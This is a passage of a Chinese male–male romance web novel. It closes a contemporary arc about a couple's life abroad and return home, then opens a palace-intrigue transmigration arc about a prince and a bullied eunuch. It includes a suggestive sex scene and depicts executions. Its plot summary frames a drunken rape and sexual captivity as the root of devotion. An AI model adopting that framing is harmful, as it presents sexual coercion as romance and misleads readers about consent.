“嗯,”方闻钟轻声点头,“回去吧,小梳子,在那里我可以给你买一套房子,我不和你住一起,我离你远远的,等,等你想我的时候我再去找你。” “你会想我吗?” 萧疏摇头,“我要和你住一起。” 说着,方闻钟感觉指尖被套进一个什么东西,低头看,是绳子,绳子下面坠着一把最简单的钥匙,“我们在这边也有房子,给你了,你不用担心,我都准备好了。” 话说到这里,手里的绳子异常明显,方闻钟这才有了他和萧疏,好像中间有误会的感觉…… 他们各说各话,不然,萧疏为什么会继续爱他,还说,在这里有了两人要住一起的房子? 方闻钟把钥匙拿起来,眼睛似是不敢相信。 轮到萧疏了解清楚了,出什么事了,让方闻钟不通知他,急急忙忙跑过来。 想到他可能在他没有陪同的时间,经历的困难,萧疏抱着人的手更紧了些,“什么都不用怕,跟我说说?” 踌躇良久,方闻钟说了他从严慈那里听到的录音笔。 萧疏一阵咬牙切齿,跟那个女人的账,他回头再算! 一巴掌拍向方闻钟屁股,“录音是可以合成的!我这些没教过你吗?让你看的学的你记哪儿了?就那么轻易相信了被伪造的我的话,方闻钟。” 萧疏声音沉沉的,方闻钟瞪圆眼,“我忘了!” 他们好久互相陷入沉默,然后,方闻钟才敢干脆敞开心扉,“萧疏,我和你的差距,真的还挺大的,是不是没有小时候的交情,没有我为你坐过牢这件事,你永远不会喜欢我,爱我?” 他不太确定地看向萧疏,她们都说,萧疏在意他,只是因为在意那段过去,未来的萧疏,并不需要他陪同,尤其是在他对他的前途有冲突的情况下。 可萧疏说:“不可否认,过去很重要,可正是因为和你的过去,造就了现在的我,所以现在的萧疏,只喜欢现在的方闻钟,任何人,哪怕你的过去,都代替不了。” “哥哥,以后没有你,我真的会很孤独的,”萧疏叹了口气,“所以不要彷佛你在求着我,是我求你,我向你低头,”萧疏额头抵着他,“我千倍万倍地需要你。” 方闻钟所有的急躁,所有关于外人一点点挑拨和外界传来的害怕让他升起的不信任的小刺,此刻,都被萧疏认认真真,一颗一颗拔除了。 萧疏解释了邹凯的事。 “我说了,我不想妥协的时候,我从不会妥协,我清清楚楚知道我想要什么,也绝对有把握拿到,所以不是学校内逼得我待不下去了,公开承认我是同性恋,我和你在一起,还有出国,都是我自己的选择,没有任何人插手的痕迹。” “包括严慈?” “包括严慈,算了,不提她,提起她我一阵恶心,”萧疏嫌恶地说,不敢想,方闻钟要是真大著胆子追他追到国外,他们还没有巧合碰上,该造成什么后果! “那,小梳子,你为什么选择出国呢,是因为这里更利于你发展吗?我们,我们以后不回去了吗?”方闻钟紧张顿起。 谁料萧疏却说:“是因为你啊。” “方闻钟,你该读大学了!我已经替你找到了最合适的学校,一切都打点好了,所以来这里读书吧,运气好的话,以后我们还有可能在同一所学校碰到。” “那时,你该称呼我一句:萧老师。” “哥哥,”他亲上了他未来的学生。 第55章 他们在一个户口本上。 清早,方闻钟手忙脚乱地赶紧起床,头像鸡窝一样,他穿着背心和大裤衩,一边往楼下跑,一边喊:“萧疏!赶紧给我弄个三明治!我要迟到了我先去撒尿!” 方闻钟边解着裤带,边睡眼朦胧地说。 萧疏抬头,看了他一眼,继续手里慢条斯理的动作,他朝煎好的肉上撒上椒盐,方闻钟一会儿就下来了,他已经换好了衣服,拿起萧疏给他做的早餐,嘀咕道:“这什么三明治,吃多了真腻,”三口两口全塞进嘴里。 方闻钟朝萧疏抱怨,“我想吃包子油条豆浆了!” 在国外生活了这几个月!方闻钟太想念国内最简单的早餐。 萧疏摆摆手,“我不会,将就一下吧。” “嘿,”方闻钟迅速抓了把头发,嘴都没擦就趁机向萧疏亲去,亲完了才抽纸擦嘴,掐着点往学校跑…… 家里到学校的路,方闻钟已经很熟悉!但路边的风景和人都没什么吸引他值得他留恋的,唯一督促着他这么好学的原因只有一个! 是萧疏废了千辛万苦,做了好多准备,才把他弄来这里上学。 想他近三十的人了,才要重新念大学,还多亏了前好几年潜移默化打下来的基础,他才有这么好的机会,所以方闻钟很努力,很拚命地在适应! 在对着广播一句句纠正口语的时候,在和其他方闻钟前二十多年想都没想过的场景里和陌生多个国家的人交流的时候,在他上课努力听懂老师讲学的时候,在课外疯狂地吸收着许许多多有趣他却很少有机会接触到的知识的时候…… 方闻钟就知道,他在朝萧疏走去,他离他更近了一步。 中午下课,方闻钟背着沉甸甸的书,一个人走。 在这里他没打算交朋友,对他好奇的人却很多。 在一座楼下等了等,果然,很快萧疏的身影从楼里出来了,“萧疏!”方闻钟大喊! 萧疏还未走近,方闻钟就赶紧跑过去,把他手里的两本书也拿起来装自己书包,“小梳子,你们当老师的可真轻松。” 萧疏侧头瞥了他一眼,调笑道:“叫什么呢?叫萧老师。” 方闻钟一阵脸红,用动作掩饰,他胳膊揽上萧疏的脖子,“你又没教我……”在学校里他和萧疏碰面的机会很少,除非特意等着,之所以对‘萧老师’有PTSD,是因为萧疏总在床上逼着他叫,说要给他教新花样…… 每次被折磨的都是自己…… 方闻钟蹭了蹭萧疏的头,忽然说:“小梳子,我背你走吧,这里没人了。” 萧疏拗不过他,在方闻钟几番拉扯下,还是把书包提过来,让方闻钟背着他走。 萧疏趴在他背上,方闻钟知道萧疏腿长,害怕背不起来,特意从他腿后面拦住他,萧疏刚开始不自在了一番,后来倒随他去了,“呵呵,”他笑方闻钟,“你在向我证明什么?你也可以把我背起来,你力气很大?” “才没有,”方闻钟偏头,近距离看到小梳子,他还是会忍不住心悸。 只是又在校园里,又同行在路上,他忽然就想到了十年前,他们在高中的时候,方闻钟有时候也会背着萧疏往回家的路上走。 那时,要么是方闻钟兴致来了非要背萧疏,萧疏只能答应,要么是萧疏不想走路,方闻钟就只好背他…… 无论曾经是虚情还是假意,现在,他们在对方的背上,只有时光沉淀和证明后的爱情。 换萧疏背着方闻钟。 国内,几个月前。 就在大家激烈讨论萧疏和方老板的事时,处在话题中心的人却突然不见了。 后来还有人短暂见过他们几次,可很快听说,他们都离开了,好像是去国外了…… 萧疏没有在本校任职,却在国外一所高校当老师的消息,还是传来,凭他的能力,他在哪里都如鱼得水,步步高升吧。 不知道校领导是什么想法,但得知他的决定,学生们倒更疯狂崇拜他了。 以为他和方老板的事只是昙花一现,可追查下去才发现,他们有数十年的互相牵绊……哪怕身份天差地别,还能在一起。 以为他们未来会各自有选择,各自有侧重,不得不抛弃一些单纯的东西,没想到,他们换个地方,还能继续相守。 听说方老板也去国外读书了……他的书店转让给了一个陌生人,可依旧有好多同学去那里打卡,好像那家店买书,就能同时获得爱情和学业的祝福。 至于严慈,不知道萧疏是怎么和严老交代的,打蛇打七寸,严慈还是他恩师的女儿,所以萧疏没有直接针对她,却是让严老自己出手管教。 听说严慈在男女关系上吃了很大亏。 听说她的工作室开不下去了。 听说她最后嫁给了一个很优秀她却不喜欢的人…… 她被严老宠爱着,才有挑剔的资格,才有之前就图爽快,图报复,就想把萧疏和方闻钟拆散,给他们制造误会的胡作非为。 属于她的下场,还在慢慢来的路上…… 四年后。 “方闻钟,你的武侠小说写得怎么样了?” “快了快了,”方闻钟朝背后的萧疏摆摆手。 “就要回国了,之前听你和那边联系,有出版的可能,你一个结尾怎么写这么长时间?” 萧疏趴在方闻钟背上,看着他手底下划拉的平板,方闻钟侧头,“你不懂。” 得到一个萧疏压迫式的亲吻后,方闻钟终于不再摆架子了,不然他一直觉得,萧疏在他写武侠小说这方面,就是个门外汉! 把十多年的爱好,一点点变成自己的职业,是方闻钟想都没想过的,可一切自然而然就发生了。 “说说,我怎么不懂?” “我在想结局是要欢快一点,还是平淡一点,”平淡的大路朝天,各走一边,从此再无相逢。 萧疏捏着他脸,“求求了,哥哥,给个好结局吧,”他写的东西,萧疏也看了,平心而论,很好看,但可能是方闻钟经历了太多,极上极下,所以他的文本,总有种悲天悯人世事难料的苦闷感,萧疏真想让他欢快一点,“行吧,”方闻钟只能听萧疏的了,不然还能怎么办。 小说完稿,方闻钟和萧疏一起踏上回国的路。 曾经租的小二楼,虽然破破烂烂,但后来方闻钟买下来了,他们回来还打算住在这里,两个人都没嫌弃。 扯开窗帘,让透进来一点光,然后打扫灰尘。 萧疏捂着鼻子呛了一口。 方闻钟赶紧把他推客厅去了,“小梳子,你去那边吧,”这些年萧疏好像养得越娇贵,方闻钟承担了干活的大头,他还要哄小梳子,“我们小梳子是伟大的人民教师,不能做苦力,就由我来吧,”方闻钟笑嘻嘻,从卧室朝萧疏探头。 萧疏一把给他扔过来一个抹布,方闻钟赶紧躲过用手抓住,差点丢他脸上了。 抹布淘好后,又递给萧疏,让他在那边慢工出细活…… 一顿打扫,从白天忙到黑夜,终于弄干净了能住人! 从下飞机忙到现在,他们都起不来了,两人躺在小床上,萧疏看着房顶,“肚子有点饿,”方闻钟就赶紧爬起来,虽然明知冰箱没任何东西,还是下意识打算做点什么给他吃。 萧疏抓住他胳膊,“等等吧,我叫了外卖。”- 睡了两天两夜终于缓过来,方闻钟感觉全身骨头酸软,睡梦中,摸索到吵醒他的手机,是一个好消息!他的小说终于定稿准备出版了! 方闻钟一下激动地翻起来。 “萧疏!萧疏!萧老师你在哪里,快点过来!” 萧疏在卫生间刮胡子刮到一半,下巴上还沾着泡沫,他开门,“鬼叫什么呢?” 方闻钟一下扑过去!像猛虎扑食一样跳到萧疏身上,然后把他下巴上的泡沫都亲没了…… “我要出书了!我要出书了!” 萧疏抱起他去帮他洗漱,“哥哥怎么这么厉害呢,以后你卖你的书吧,我一定当你最大方的顾客。” 方闻钟现在,的确很厉害! 在四年的大学时间,他超额完成了任务,拿到了双学位!这本来就是萧疏没料到的,还在业余时间,写了武侠小说,又给了萧疏一个极大的惊喜。 他不知道,在他夜晚忙着写论文的时候,方闻钟看着他戴眼镜的身影,总是害怕又被他落下去,所以他也逼着自己去够他可能不一定够得到的高度…… 在那个高度,有指引他的萧老师。 “唔,”方闻钟坐在洗手台上,脚尖绷起,因为萧疏的动作他刚差点没抓稳,脚尖上挑起的仅剩的一只拖鞋,刚也啪掉下去了。 “萧疏,萧疏,太刺激了,”萧疏嘴里的味道是新鲜的漱口水,冰冰凉凉的,可一会儿又温热柔软,方闻钟忍不住抓他的头发。 “你在发光,你知道吗,”萧疏抬起头,发型不羁,但那张脸还是帅得神魂颠倒,“哥哥,很高兴看到这样的你,很开心你有现在的成就,你比我想像的,还要了不起。” 萧疏的夸奖,对方闻钟而言就是最好的迷幻剂,他全身情绪和感官都被催化着,一时化为最直接的爽感全往一个方向去!“小梳子!”他激烈地紧绷。 触及到了萧疏的喉咙。 在萧疏随意的抬眼间,他看到了方闻钟扭曲又兴奋的灵魂,这个男人眼角皱起都有了细纹,可这个男人也是他一手养大的。 萧疏之后每年都会在国内待半年,国外待半年。 他以客座教授的身份重新回到了母校,讲台下,还是那些或熟悉他或听过他故事的人…… 而方闻钟,也会陪他要么在国外工作,要么在国内忙他小说的事。 再进校园,他不会再被保安拦住了,看到还是熟悉的那个保安,方闻钟不知怎么突然想到十多年前,他和路小远一起被堵住没进来翻墙的事……路小远结婚的时候他还包了大红包。 “哎,同学,问一下你们萧老师的课今天在哪个教室?” “A203,”关于萧疏的行踪,学校内随便问些人都能问到。 萧疏下课,和接他的方闻钟一起回家。 “今天不走这条路,”萧疏推了一下方闻钟开车的手,“去派出所。” 车稳稳地开向一个第一次去的地方,从那个地方再出来时,他们有了新的身份。 萧疏和方闻钟,在一个户口本上。 方闻钟是哥哥,萧疏是弟弟。 而在地球的另一端,弟弟会把一个戒指套在哥哥的手上,他们旁若无人地拥抱、亲吻…… 第56章 皇子和太监:84 舍弃他?救下他? 假山后,一顿窸窸窣窣的声音传来,正是一个小太监趴在地上找吃的,他白嫩嫩的脸颊和手,都染上泥土,跪趴在地上,抓起混合在沙土里的一块食物就往嘴里塞,旁边传来一阵阵尖利变态的笑声。 然后小太监灰扑扑的衣服上,就又多了一个脚印。 旁边三个同类围着他,看他像条狗一样戏弄他,又给他前面扔了一块,屁股上一脚把人踢趴下去。 “喏喏,前面还有。” 没挨过饿的人不知道那滋味有多难受,方闻钟痉挛着,蜷缩起来,胃部感觉有好多好多蚂蚁在啃噬他,酸楚和委屈来得猝不及防,可他还是在看到食物的一刹那,爆发本能扑上去…… 他是一个月前进宫被分来东宫的,方闻钟男生女相唇红齿白长得很好看,可他人傻乎乎的,不会来事儿,所以一个月后还是没在主子面前露脸,甚至连师父也没有多关照他,只能混为最低等的小太监,干些杂役粗使活儿。 在他们这些低等小太监里,也有说头,方闻钟这种漂亮易得主子看到重用的,是被一起排挤欺负的。 于是方闻钟十天不到,就灰扑扑的总是被人踢倒在地上弄脏衣服弄脏脸,半个月他们就把他的铺盖卷一边扔地上浇上泔水让他浑身散发著臭味,然后变本加厉,克扣他的食物和月银,直到一口吃的都不给,等他实在忍不了了,把吃的扔地上让方闻钟捡着吃。 方闻钟就是个好欺负的小傻子,在被踢倒,被卷铺盖躲在角落里睡觉,都不会反抗,好像任人揉扁搓圆,可唯独在两件事上很执着。 一是洗澡,他很爱干净,经常躲起来自己偷偷洗,谁敢来打扰他他就把桶带水一起泼那人头上……两三次后,大家也就都不敢了,因为怕闹大。 为此经常被人嘀咕,像个娇生惯养的小公子似的,毛病多的很,可去了那根东西进了宫,小公子还是成为和他们一样的小公公。 二是吃饭,他为了一口吃的,总是能爆发出和他完全不一样的执拗偏执,哪怕舍弃尊严,更引来戏弄。 好像他在这宫里唯一的目的就是活着,活下去! 吃饭能让他简单活着就行…… 方闻钟在前面爬,三个小太监在后面说悄悄话,什么时候方闻钟半个身子爬出假山了,他们都没发现。 “太子被禁足了,我听说二皇子月前从马上摔下来摔断腿,是和太子有关,”小太监们妄议主子,在偏僻的地方捂着嘴叽叽喳喳道:“按说天子很宠爱二皇子的,可咱们主子被禁足,好像是和赈灾粮有关,不是二皇子的事,那天子就这么轻拿轻放了?我还以为天子会因此狠狠责罚咱们主子呢。” “嘘,二皇子说不得……他因为摔断腿性情大变,最近那边宫里都不得安宁。” “天子是没有细查,没有责怪咱们主子,还做主安抚二皇子那边了,可二皇子可不会善罢甘休……” “以那位主的乖戾性子……” “什么东西!”一声细长的尖叫,打断了三个小太监,他们弯着腰赶紧走出假山,一看到面前的情景,顿时面如土色,煞白如纸,完了。 人不经念叨,他们口中乖张狠戾,和太子不死不休的二皇子!以及他身边的大太监!一起来东宫找事了! 大太监那一声,就是在喝止地上爬的方闻钟! 方闻钟手刚伸过去,一只脚踩在他要抓的食物上,于是他脏兮兮的手,抓上那人黑色的脚腕。 大太监刚要急忙过去把方闻钟踢开,他慌慌张张的,三个小太监已经跪在前面俯身低着头哆哆嗦嗦,不知道刚二皇子听没听到他们说话,一边嘴里喊着“二皇子饶命,二皇子饶命”,一边侧眼偷偷看首当其冲的方闻钟,一股幸灾乐祸。 萧疏一脚踢开方闻钟,嫌恶地皱了皱眉头,只因方闻钟抓的是他摔断了的腿,刚被太医勉强接上,走路还一瘸一拐。 方闻钟重重地往后摔过去!后脑勺磕在地面上,他仰头朝天上看去,一阵头晕目眩,他好像看到了一个,旧相识。 那年他才十五,还在父亲的管辖范围内,方大人作为益州知府,管得了地方百姓,却管不好自己儿子,方闻钟从小贪玩不学,四书五经囫囵吞枣,旁门左道倒是精通不少,还老嚷嚷着要去行侠仗义,和新拜的师兄学医行走江湖…… 方大人因为儿子特殊的身体,只能宠着纵着,经常唉声叹气,未来他也断了进官场的路吧,也好,能天天傻乐也好。 在益州的那天,他和师兄刚背好药筐,去山上采药,结果半路他就嫌累不背了,师兄只好接过去,恰时,两匹骏马从街上疾驰而来! 他转头就看到!骏马上两个高大的男人!均扬鞭微笑! 一人一身玄色衣服,身形外貌更刚毅,一人紫色外襟红色里衣,张扬鬼魅!方闻钟一时看呆了,他只觉得那个紫色衣服的男人,可真好看,比所有女人都好看! 他扬起的发丝,还有震动的马鞭声,以及他烈焰一般的笑容,都让方闻钟一时忘了躲。 后来他知道,那两个男人是兄弟,他们在打赌,谁先跑赢了,谁就能拿到好彩头。 这些话,方闻钟是在紫衣男人怀里听到的,只因为紫衣男人在略过他的一瞬间!长臂伸起,一股惊人的力道一下把他从腰里揽过来,掠夺到马上! 在师兄惊愕的调用中,疾驰而去。 “哥,虽然我输了,但我已经拿到好彩头了,”紫衣男人指了指马背上爬着的方闻钟。 被叫哥的玄衣男人微笑,“别闹了,没伤着人吧。” “没,是不是漂亮东西都比较蠢,见马都不躲……” “你说你自己呢?”被哥哥摆了一道。 紫衣男人把方闻钟放下去,“好彩头,自己回家吧,”然后他们走了。 他的手从他腰上离开了。 方闻钟麻木的心,涌上一丝波动,原来他是二皇子啊,贵为天胄,那他叫哥的人,也就是驻守边疆的大皇子…… 何谈旧相识,只是他一直没忘记罢了。 如今,他家破人亡,还被人追杀,只有躲在仇人眼皮子底下才能勉强求得一息,而他,可能压根不记得他……方闻钟闭上眼睛,一股悲凉的情绪上头,眼角滑下一滴泪来。 却说萧疏,本来踢了一脚方闻钟,以他原本的身子,那条腿把人踢死都不会出事,可谁叫他刚断了腿才辛辛苦苦接上呢,这一用力,就出大麻烦了! 萧疏额头冷汗直流,他凄厉地抱着那条腿,疼坏了,好像是又断了! 大太监惊气道:“来人来人,快叫太医!” 然后恶狠狠地瞪着对面四个小太监,脸上的表情阴狠又扭曲,都是死人!都该死! 萧疏好像全身抽搐了一下,然后他不动了!大太监还紧紧扶着人,谁料萧疏直接栽倒,一下栽在方闻钟怀里! 砸得方闻钟肚子好痛!! 什么情况!谁都没反应过来,现场一片尖叫和混乱,萧疏穿过来了,他正在接受原剧情。 很久很久之后,空间外,可能也就半盏茶的时间,萧疏醒过来,他捏着拳头,刹那抬头,死死看向方闻钟。 “无事,”萧疏起身,彷佛刚才的腿疼昏倒只是大家的幻觉,大太监惊疑不定,方闻钟此时也和另三人一样,乖乖跪在萧疏脚下。 他的同伴还在连他一起的错求饶,“二皇子饶了我们吧,我们错了,”方闻钟却缄默。 “都杀了,”二皇子轻飘飘一句话,就让地上的人瘫软不止,可还是忍不住尖叫求饶,然后全被捂着嘴拖下去,“好叫他们知道规矩,不然还以为太子宫里的,都是一样的狗奴才。” 萧疏今天摆明了来找事,东宫死一两个,只是开始。 就当护卫把方闻钟也拖下去时,“等等,”他说。 萧疏忽然从旁边大太监圆滚滚的腰上解下一个胖荷包,大太监一愣,眼睁睁着看着主子把他荷包里存的晌午吃的半个馒头,扔地上,馒头滚在方闻钟膝盖边。 大太监一阵心疼。 听萧疏说:“本殿下踩坏了你的食物,便赔你个好的,”他弯下腰来,玉石般的手指,指印掐在方闻钟脸上,抬起他下巴仔细看,“是个讨喜的玩意儿,怎么跟条狗似的趴地上吃。” “算了,他留着吧,”萧疏摆手示意护卫走开,用手帕慢条斯理地擦他刚摸过方闻钟脸的指尖,然后把手帕扔下去,眼神冷漠,“把本殿下的鞋擦干净了。” 方闻钟只好用那条干净的帕子,把他黑色靴子上自己的手印,一点点擦去。 他们前呼后拥地离开了,方闻钟才忍不住回头,他定定地看着萧疏,似乎要把那个男人更记到心里去。 然后抬腿,起身,从跪到站,手里捏着半个香软的馒头,放在嘴里狠狠咬了一大口。 萧疏不知道跟太子怎么交涉的,反正等他从太子宫里出来,萧疏披头散发,眼角的狠厉血红还未散下去,让他看起来像个修罗,平日里惯会揣摩安抚主子心思的大太监,这会儿都不敢轻易开口了。 直到,“啊!” 他看到萧疏断了的那条腿下,随着他走路,一步一个小小的血脚印。 “殿下!你的腿!” “鬼叫什么,”萧疏背着手,彷佛正在经历断骨磨肉之痛的人不是自己,要不是大太监刚才发现,所有人好像短时间内都忘了他的腿伤了! 只怪他看起来太正常,走起路来也那么器宇轩昂。 萧疏掏了掏耳朵,终于有了一丝虚弱的意味,他唇色发白,简单的这几个字,说得很沉,很稳,却很慢。 大太监一下眼泪激出来了,他知道这是殿下要强,不想在太子这里失了面子。 还好,刚殿下一顿发疯,太子想必这会儿比殿下更难受,估计要气疯了。 太子室内的东西,被萧疏摔得一片狼藉,古籍!字画!上好的玉石、摆件!连那顶父皇御赐的价值千金的屏风,都被萧疏抽出宝剑来一刀劈断! 疯了疯了,真是疯了! 太子看着他的好二哥,一改之前的疏朗端方,变得偏激难测,明明没有证据他的腿是因为他断的,是他自己的马,只不过去他的马场跑了一圈就摔下来了……可还是把一切怪罪在他头上。 父皇溺爱他,也没打算追究这件事,所以太子只能眼睁睁看着萧疏提着剑在他宫殿内乱砍,还无法也不敢去制止! 萧疏一个不小心把他也砍了怎么办。 虽说那样萧疏肯定不得好死,但他也死了……他一个好端端的太子,跟一个瘸了腿,彻底从皇位之争退出去的哥哥,有什么好你死我活的。 尽管这样,尽管太子这样安慰自己,可还是由一开始的假笑,最后被萧疏气得发了狂! 萧疏狠狠地攥住他脖子里的衣服,“我的好弟弟,你养的外室是别人的,连你儿子都是冒牌货,以后你最好一直是太子,直到你当了皇帝,不然哥哥一定要让你千倍万倍的偿还,去那宗人府,去那断头台。” 他说着大逆不道的话,把太子摔下去后,出门时,一脚踹开好几个战战兢兢伺候太子的太监…… “萧疏!萧疏!我果然对你下手太轻了!” 萧疏的狂妄,一直以来在父皇跟前的受宠,简直就是太子的眼中钉肉中刺!现在萧疏被他整废了,他还是觉得气不过,“就应该让你直接去死!” 在外温和有礼,虚伪作笑的太子,终于恢复了阴鸷狠辣的样子。 萧疏一回到他宫中,就昏过去了!太医急急忙忙匆匆赶来为他救治,很快,皇帝也听说了老二和老三大闹一场,他嘴里斥责着老二太不懂事,还是没有追究,哪方都没有,无论是老二的任性,还是老三摆明了心虚。 坏腿被太医们拿在手里随意处置,萧疏纯粹是疼晕过去的,在晕过去后,他又想了许久关于原剧情。 今天和方闻钟碰面的时间太短了,而原剧情又太复杂,萧疏在梦里重新理清。 这是一个发生在皇家权位之争的故事,而方闻钟,或者说方家,是被牵扯进来最无辜的。 当今有六位正值壮年的皇子,大皇子,母妃去世,势力薄弱,早早就在边关领兵打仗,功绩不少,却无实打实的兵权,也很少回都城。 二皇子‘萧疏’,同样母妃在他年少时去世,可皇帝爱她,他的外家也异常庞大,是朝中最有名望的世家!外祖父官至丞相,舅舅是刑部尚书,几个哥哥要么在兵部,要么在大理寺,‘萧疏’简直有得天独厚的臣子。 可是他被父皇教导着君是君,臣是臣,一向与外家关系浅淡,外家好像也心照不宣地不与他亲近,遵守做臣子的本分。 因为得到皇帝独一份的宠爱,所以‘萧疏’养成了飞扬跋扈,天不怕地不怕的性格,心思也单纯,直到,被三皇子,也就是太子,陷害落马,摔断腿,彻底与皇位无缘。 三皇子之所以被立为太子,是因为他是皇后的嫡长子,皇后也奇怪,因为对皇帝没感情,所以向来远离皇家之事,只守着她那一点地方活得庸俗。 太子一边不得父皇器重,一边被母后无视,可偏偏他是只能往上走的太子! 所以太子只能争!只能抢!要防备着各个皇子威胁到他,太子急功近利,好强又没有与之匹配的手段和能力,所以月前闯了大祸! 他插手了赈灾银两,还吞了不少,闹得一地叛乱,然后被雪花似的摺子告上朝堂! 皇帝只能禁足惩罚他,再慢慢查。 方家,就是这件事中的替罪羊,整个益州民不聊生,太子却把贪图银两救灾粮以次充好的名头压给了益州知府。 方家全家被杀。 证据确凿,朝中大臣无人反驳。 这件事明面上已经不了了之了,替罪羊人头落地,太子表面被禁足,说是等待再查清,可谁都知道,那只是皇帝的托词,皇帝肯定要保太子,所以过段时间,太子还是会被放出来。 而方闻钟为什么被追杀,太子又为何偏偏栽赃方家,其中还有大阴谋! 太子竟敢在益州养私兵!钱还是截了给皇帝的贡品换来的!这哪一样都是杀头的大罪,哪怕他是太子,就因为他是太子! 可偏偏这些事经过方知府的手,被他发现了,他还偷拿到了太子截贡品养私兵的账本!这对太子而言就是活阎王!让他几更死就几更死! 所以太子直接快刀斩乱麻,先杀了方知府一家,再慢慢把这件事糊弄过去…… 方家覆灭的那天,没找到他们的儿子,方闻钟从小就在外面各地疯跑,所以太子派了好多人去暗地里追杀他,还是没找到。 账本当然也没拿到,太子一天都安不了心,不知道被那个方老头藏到哪里了!他只能把方闻钟也杀了!全杀干净了!才能慢慢安心。 说到方闻钟为什么进宫,为什么就在太子的眼皮子底下,就要提起另外三个皇子。 四皇子,母妃是柔妃,一个娇娇弱弱却黑莲花一般的女人,四皇子倒与之相反,鲁莽无脑,爱耍刀弄枪,平日里苛责下人,动辄处死,前期喜欢和二哥玩儿,后期被六皇子当枪使。 五皇子,一个宫女生的儿子,去母留子,养在皇后膝下,皇后对他也一般上心,所以五皇子很低调,在众兄弟间,就是个不起眼的小可怜。 再来说风光霁月的六皇子!六皇子生母端妃,表面上不争不抢、不急不躁,实则在儿子的教育上没少费心! 六皇子外家也不容小觑,都是清高有名望的读书人,有些在吏部做官,有些在礼部,更有任职太子太傅的…… 六皇子韬光养晦,学识过人,哪怕不在朝中,他也有一批忠实的读书人拥趸者,其中最被外人知的,就是上一届探花郎,据说他们宫外相识,私交甚好。 而这个探花郎,恰巧是出自益州,曾受过方知府的教导,与方闻钟也相识,拿他当弟弟。 方闻钟就是探花郎借六皇子的手,弄进宫的,探花郎不知道太子为什么追杀他,方闻钟也说不知道,探花郎却知道哪里最安全,这里除了他,没人见过方闻钟,能把他和方知府的儿子对上,普天之下,只有这里,才会被人忽视,方闻钟也想在太子身边,为父报仇! 探花郎只与六皇子说,是一个朋友,没真实表明方闻钟的身份。 六皇子之所以同意,还是因为探花郎另一个解释:他是双性人,在外面被人欺负了,就想来宫里安安生生活过下半生,也不肖想女人,这个理由,是方闻钟和探花郎一起想出来的,当方闻钟这样对探花郎说道,探花郎就知道,他把自己一切都搭上了,他舍弃了所有,不惜暴露出方家最大的秘密,就为了父亲!为了活下去! 方闻钟惨白着脸,颤抖的双臂,眼泪要掉不掉,探花郎没有安慰他值得吗,没有好奇问真的吗,他只是拍了拍他的肩膀。 去势,也就是成为真正的太监,是六皇子安排自己人去做的,事后可能都被处理干净了,宫内就只有六皇子和探花郎知道这个新来的小太监,是双性人的事。 六皇子对这种事没什么兴趣。 方闻钟就成了今天的方闻钟。 皇子们之间的皇位之争,是当今乐得看到的,他们太和睦了当皇帝的不舒心,可他们闹得自相残杀,皇帝也收不了场……原剧情就是这样发展的。 前期,‘萧疏’是皇帝立起来的一个最好的靶子!他哪方面都符合太子假想敌的身份,他还自己没那么有意识去争,所以皇帝当然“宠爱”他。 太子把他弄断腿后,‘萧疏’就废了,一是一个瘸子,不可能真坐得上皇位,二是他性情变得不可控,哪怕对皇帝也没有好脸色,所以众人只能任他去了,发疯也好,自甘堕落也好,渐渐忽略了他。 皇帝又培养了一个新的势力当太子的磨刀石,六皇子异军突起,身边、朝中顿时都是拥护他的! 后期就是他和太子的大舞台,其中四皇子五皇子,也多多少少参与其中。 你方唱罢我登场,斗了好几个回合,‘萧疏’,就在所有人忽视的前提下,照例遇上方闻钟,照例给了他半个馒头。 因为原剧情里‘萧疏’也认出了方闻钟,曾有过一面之缘,可能是想到他,想到了大哥,也可能是纯粹觉得这个漂亮玩意儿讨喜,所以没有杀他。 在他心情最差的时候!方闻钟还扯了他的腿,犯了他的大忌讳! 方闻钟本来就对‘萧疏’有说不清道不明的心思,半个馒头,让他猜到萧疏也记得他。 后来一件事,更是加剧了他对‘萧疏’的感情。 方闻钟在太子宫中,又被大太监们欺负了,带他的师父,意外撞破他身体的秘密,狞笑着变态地把他骗到池水边,意图玩弄他。 他不敢叫,怕引来别人,他反抗无果都用牙齿咬下那人的耳朵了,最后‘萧疏’如天神般降临,把他拥入环中。 尽管后来‘萧疏’也玩弄他,新奇他的身体,尽管‘萧疏’甚至醉酒强迫他,彻底占有了他,他往后还成了他床上的禁脔,可方闻钟记得的,只有‘萧疏’救下他,抱起他的样子! 只有那半个故人扔过来的馒头。 方闻钟和萧疏醉生梦死,萧疏好像突然对一个小太监格外好,还把曾经欺负他的东宫有名的大太监,全弄死了! 太子不明所以!只当‘萧疏’又在发疯,气不过来找事! 六皇子心知肚明,这是碰到双性人,得到好东西了,以为他沉迷酒色。 探花郎心惊胆颤,替方闻钟担心,可他偶尔一次求到六皇子跟前时,六皇子说:“跟着我二哥不好吗?一步登天,反正他无法做男人,既然在外面已经被欺负过了,现在再委身于二哥,倒是他占便宜了。” 探花郎听后难受极了,可他再不敢说方闻钟其他好话,害怕被六皇子怀疑。 六皇子想整倒太子已久,要是被知道方闻钟的存在,他一定会好好利用方闻钟的! 探花郎不愿意看到,尽管他们所有人都不知道,方闻钟还有没有利用价值,那个被太子害怕的账本,在不在他身上…… ‘萧疏’发现了方闻钟的身份! 他们在益州见过!那个和他一起的师兄,曾经常出入方知府家里!他就是方知府唯一的儿子!被太子追杀的那个人! 太子有把柄在方家手里,似乎早不是秘密,但至少暂时,没人知道那个秘密具体是什么。 ‘萧疏’开始算计方闻钟! 方闻钟毫不知情,六皇子意图引入外敌,直接攻破皇城,是因为被父皇刺激到了!他和太子争的水深火热,可转头,父皇就赐给他一个家世不显,还爱慕太子的女人! 这是羞辱他!这是警告他! 你可以是磨刀石,但不能真把刀磨断! 没受过这种委屈的六皇子,直接掀桌子不干了!他忘了读书人读到最后家国的道理,竟然联合外敌!就为了那把势在必得的皇位! 这时,一直被人无视的‘萧疏’,默默派出去小太监方闻钟给远在边关的大哥送信!守好边关,然后带兵回来! 方闻钟从一个‘萧疏’床上娇弱的玩物,突然被委以重任,哪怕前路困难重重,危险迷茫,方闻钟还是愿意跑一趟,因为‘萧疏’说:“只有你去了,才不会被人发现,其他势力,都被盯着呢,这时候一只苍蝇都飞不出去,”只有方闻钟,藉机出宫探亲,才能迅速离开报信,而不引得六皇子怀疑。 方闻钟吃了很多苦,想他一个双性人,跨越那么长的距离,经历那么多形形色色的人和事,最终把信交给大皇子时,方闻钟差点回不来。 而在皇宫的萧疏,也查清了方闻钟瞒下的一切,包括他的身份,太子和方家的纠葛,以及那本账本!被方知府最后交给方闻钟偷偷藏起来了!方闻钟知道它在哪儿! 